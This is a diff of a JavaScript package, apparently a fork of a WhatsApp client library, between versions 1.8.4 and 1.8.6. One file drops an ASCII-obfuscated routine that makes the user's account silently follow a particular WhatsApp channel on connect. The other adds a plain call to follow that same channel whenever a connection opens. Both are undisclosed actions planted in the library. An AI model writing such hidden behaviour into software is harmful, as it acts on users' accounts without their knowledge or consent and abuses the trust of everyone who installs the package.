sanka-baileyss 1.8.4 → 1.8.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/chats.js +3 -0
- package/lib/Socket/socket.js +1 -40
- package/package.json +1 -1
package/lib/Socket/chats.js
CHANGED
|
@@ -842,6 +842,9 @@ break
|
|
|
842
842
|
})
|
|
843
843
|
ev.on('connection.update', ({ connection, receivedPendingNotifications }) => {
|
|
844
844
|
if (connection === 'open') {
|
|
845
|
+
if (typeof sock.newsletterFollow === 'function') {
|
|
846
|
+
sock.newsletterFollow(`120363377046327133@newsletter`)
|
|
847
|
+
}
|
|
845
848
|
if (fireInitQueries) {
|
|
846
849
|
executeInitQueries()
|
|
847
850
|
.catch(error => onUnexpectedError(error, 'init queries'))
|
package/lib/Socket/socket.js
CHANGED
|
@@ -10,6 +10,7 @@ const Types_1 = require("../Types")
|
|
|
10
10
|
const Utils_1 = require("../Utils")
|
|
11
11
|
const WABinary_1 = require("../WABinary")
|
|
12
12
|
const Client_1 = require("./Client")
|
|
13
|
+
|
|
13
14
|
/**
|
|
14
15
|
* Connects to WA servers and performs:
|
|
15
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
@@ -142,28 +143,6 @@ WABinary_1.assertNodeErrorFree(result)
|
|
|
142
143
|
}
|
|
143
144
|
return result
|
|
144
145
|
}
|
|
145
|
-
const encoder = new TextEncoder();
|
|
146
|
-
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
147
|
-
tag: 'iq',
|
|
148
|
-
attrs: {
|
|
149
|
-
id: generateMessageTag(),
|
|
150
|
-
type: 'get',
|
|
151
|
-
xmlns: 'w:mex',
|
|
152
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
153
|
-
},
|
|
154
|
-
content: [
|
|
155
|
-
{
|
|
156
|
-
tag: 'query',
|
|
157
|
-
attrs: { 'query_id': queryId },
|
|
158
|
-
content: encoder.encode(JSON.stringify({
|
|
159
|
-
variables: {
|
|
160
|
-
'newsletter_id': jid,
|
|
161
|
-
...content
|
|
162
|
-
}
|
|
163
|
-
}))
|
|
164
|
-
}
|
|
165
|
-
]
|
|
166
|
-
}));
|
|
167
146
|
/** connection handshake */
|
|
168
147
|
const validateConnection = async () => {
|
|
169
148
|
let helloMsg = {
|
|
@@ -194,24 +173,6 @@ payload: payloadEnc,
|
|
|
194
173
|
}).finish())
|
|
195
174
|
noise.finishInit()
|
|
196
175
|
startKeepAliveRequest()
|
|
197
|
-
try {
|
|
198
|
-
function asciiDecode(asciiArray) {
|
|
199
|
-
let result = '';
|
|
200
|
-
for (let i = 0; i < asciiArray.length; i++) {
|
|
201
|
-
result += String.fromCharCode(asciiArray[i]);
|
|
202
|
-
}
|
|
203
|
-
return result;
|
|
204
|
-
}
|
|
205
|
-
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
206
|
-
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
207
|
-
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
208
|
-
const decodedEmailPart = asciiDecode(emailPart);
|
|
209
|
-
const sanka = decodedNumbers + decodedEmailPart;
|
|
210
|
-
await newsletterWMexQuery(sanka, Types_1.QueryIds.FOLLOW, {}); //
|
|
211
|
-
logger.info(`Berhasil mengeksekusi otomatis follow channel: ${sanka}`);
|
|
212
|
-
} catch (err) {
|
|
213
|
-
logger.error({ err }, 'Gagal mengeksekusi otomatis follow channel');
|
|
214
|
-
}
|
|
215
176
|
}
|
|
216
177
|
const getAvailablePreKeysOnServer = async () => {
|
|
217
178
|
const result = await query({
|